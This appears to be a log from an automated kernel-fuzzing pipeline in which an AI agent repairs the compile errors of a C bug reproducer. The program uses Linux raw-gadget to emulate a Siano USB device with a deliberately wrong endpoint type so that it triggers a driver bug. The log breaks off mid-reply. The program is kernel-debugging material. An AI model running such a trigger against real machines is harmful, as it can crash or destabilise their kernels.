	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	struct usb_raw_event event;
	uint8_t buf[256];

	while (1) {
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			break;
		}

		if (event.type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event.ctrl;
			struct usb_raw_ep_io io;
			io.ep = 0;
			io.flags = 0;
			io.length = 0;
			io.data = NULL;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io.length = sizeof(dev_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = (uint8_t *)&dev_desc;
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io.length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						memcpy(buf, str_desc, sizeof(str_desc));
						io.length = sizeof(str_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}

<stdin>: In function 'usb_raw_ep_enable':
<stdin>:84:10: error: invalid use of flexible array member
<stdin>: In function 'usb_raw_vbus_draw':
<stdin>:92:26: error: storage size of 'vbus' isn't known
<stdin>: In function 'handle_ep0':
<stdin>:173:67: error: 'struct usb_raw_event' has no member named 'ctrl'
<stdin>:178:12: error: invalid use of flexible array member
<stdin>:187:15: error: invalid use of flexible array member
<stdin>:197:15: error: invalid use of flexible array member
<stdin>:204:15: error: invalid use of flexible array member
At top level:
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics

compiler invocation: gcc [-o /tmp/syz-executor496383425 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]]

195/6 2026/09/04 10:34 agent repro-repairer
1m Model:
deep-reasoning

Instruction:
You are an experienced C developer.
Your goal is to repair a C program that failed to compile.
Analyze the compiler error and provide a corrected version of the C program.
Make the minimal necessary changes to fix the compilation error.
Preserve the structure, logic, and intent of the original code.
Do NOT replace the program with a dummy placeholder (e.g., an empty main function).
Print only the C program that could be executed directly, without backticks.
Prefer calling several tools at the same time to save round-trips.

Prompt:
C Program:
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	struct usb_raw_ep_io io;
	io.ep = ep;
	io.flags = 0;
	io.length = sizeof(*desc);
	io.data = (uint8_t *)desc;
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	struct usb_raw_vbus_set vbus;
	vbus.mA = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	struct usb_raw_event event;
	uint8_t buf[256];

	while (1) {
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			break;
		}

		if (event.type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event.ctrl;
			struct usb_raw_ep_io io;
			io.ep = 0;
			io.flags = 0;
			io.length = 0;
			io.data = NULL;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io.length = sizeof(dev_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = (uint8_t *)&dev_desc;
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io.length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						memcpy(buf, str_desc, sizeof(str_desc));
						io.length = sizeof(str_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}


Compiler Error:
failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	struct usb_raw_ep_io io;
	io.ep = ep;
	io.flags = 0;
	io.length = sizeof(*desc);
	io.data = (uint8_t *)desc;
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	struct usb_raw_vbus_set vbus;
	vbus.mA = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	struct usb_raw_event event;
	uint8_t buf[256];

	while (1) {
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			break;
		}

		if (event.type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event.ctrl;
			struct usb_raw_ep_io io;
			io.ep = 0;
			io.flags = 0;
			io.length = 0;
			io.data = NULL;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io.length = sizeof(dev_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = (uint8_t *)&dev_desc;
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io.length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						memcpy(buf, str_desc, sizeof(str_desc));
						io.length = sizeof(str_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}

<stdin>: In function 'usb_raw_ep_enable':
<stdin>:84:10: error: invalid use of flexible array member
<stdin>: In function 'usb_raw_vbus_draw':
<stdin>:92:26: error: storage size of 'vbus' isn't known
<stdin>: In function 'handle_ep0':
<stdin>:173:67: error: 'struct usb_raw_event' has no member named 'ctrl'
<stdin>:178:12: error: invalid use of flexible array member
<stdin>:187:15: error: invalid use of flexible array member
<stdin>:197:15: error: invalid use of flexible array member
<stdin>:204:15: error: invalid use of flexible array member
At top level:
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics

compiler invocation: gcc [-o /tmp/syz-executor496383425 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]

Reply:
```c
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	char io_buf[sizeof(struct usb_raw_ep_io) + sizeof(*desc)];
	struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
	io->ep = ep;
	io->flags = 0;
	io->length = sizeof(*desc);
	memcpy(io->data, desc, sizeof(*desc));
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	uint32_t vbus = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	char event_buf[sizeof(struct usb_raw_event) + sizeof(struct usb_ctrlrequest)];
	struct usb_raw_event *event = (struct usb_raw_event *)event_buf;
	uint8_t buf[256];

	while (1) {
		event->length = sizeof(struct usb_ctrlrequest);
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) {
			break;
		}

		if (event->type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event->type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event->data;
			char io_buf[sizeof(struct usb_raw_ep_io) + 256];
			struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
			io->ep = 0;
			io->flags = 0;
			io->length = 0;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io->length = sizeof(dev_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, &dev_desc, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
